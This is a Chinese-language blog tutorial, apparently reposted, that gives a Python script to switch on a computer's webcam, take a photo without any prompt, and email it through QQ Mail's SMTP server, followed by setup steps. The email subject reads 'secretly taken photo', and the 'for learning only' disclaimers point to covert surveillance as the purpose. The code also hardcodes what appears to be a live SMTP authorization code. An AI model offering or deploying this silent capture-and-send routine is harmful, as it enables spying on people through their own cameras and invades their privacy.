每日简单小妙招:使用python实现控制摄像头拍照并将其发送某某邮箱(仅供学习)
生活随笔
收集整理的這篇文章主要介紹了
每日简单小妙招:使用python实现控制摄像头拍照并将其发送某某邮箱(仅供学习)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
僅供學習,望注意隱私
文章目錄
- 1、功能展示
- 2、代碼展示
- 3、詳細步驟
- Ⅰ、安裝opencv
- Ⅱ、QQ郵箱設置
1、功能展示
這里我使用自己的電腦進行控制拍照,將其發送到自己的郵箱;圖片經過base64編碼,至于怎么解碼,從郵箱下載到本地重命名為后綴名為.jpg即可
另外項目目錄也會出現
圖片已經展示過😁
2、代碼展示
import cv2 as cv from email.mime.multipart import MIMEMultipart #郵件格式 from email.header import Header #郵件頭 from email.mime.text import MIMEText #郵件文本內容 from smtplib import SMTP_SSL #郵箱發送依賴包#開啟攝像頭進行拍照 def get_person_image():capture = cv.VideoCapture(0)result,image_data = capture.read() # result是拍照的結果(true或者false),image_data是圖片數據cv.imwrite('person.jpg', image_data) #寫入到當前項目的根目錄下capture.release() #關閉#將圖片發送到郵箱 def send_email():server = 'smtp.qq.com' #使用qq郵箱服務器pwd = 'mlkgdtqksuvldiii' #動態驗證碼(開啟IMAP/SMTP服務之后復制的那一串動態驗證碼)sender = '181xxxx22@qq.com' #發件人receiver = '181xxxx22@qq.com' #收件人#創建郵件格式(郵件格式也就是每封郵件都有發送人、日期、收件人、內容等等)message = MIMEMultipart()message['Subject'] = Header('偷拍照片','UTF-8') #郵件主題message['From'] = sender #發件人message['To'] = receiver #收件人message.attach(MIMEText('photo', 'html', 'UTF-8'))#文本內容(photo是文本內容,網頁肯定是html格式)image = MIMEText(open('person.jpg', 'rb').read(), 'base64', 'UTF-8') #base64是進行編碼(可以理解為加密)image['Content-Type'] = 'image/jpeg'message.attach(image)#發送shtp = SMTP_SSL(server)shtp.login(sender, pwd)shtp.sendmail(sender, receiver, message.as_string())shtp.quit()if __name__ == '__main__':get_person_image()send_email()3、詳細步驟
Ⅰ、安裝opencv
opencv是一個計算機視覺庫,,使用它我們可以開發實時的計算機視覺應用程序。 它主要集中在圖像處理,視頻采集和分析,包括人臉檢測和物體檢測等功能。
1、在pycharm中點開Terminal2、輸入pip install opencv-python(點擊回車等待完成即可)
注意python版本不要太高,否者可能會出現opencv無法導入的問題(我是用是的是python3.7版本的)
Ⅱ、QQ郵箱設置
設置-》賬戶-》開啟
開啟IMAP/SMTP服務之后,復制那一串動態驗證碼(代碼中要用到)
注意隱私!
總結
以上是生活随笔為你收集整理的每日简单小妙招:使用python实现控制摄像头拍照并将其发送某某邮箱(仅供学习)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 每日简单小妙招:使用python自动登录
- 下一篇: 2021努力拼搏,致敬为梦想而拼搏的人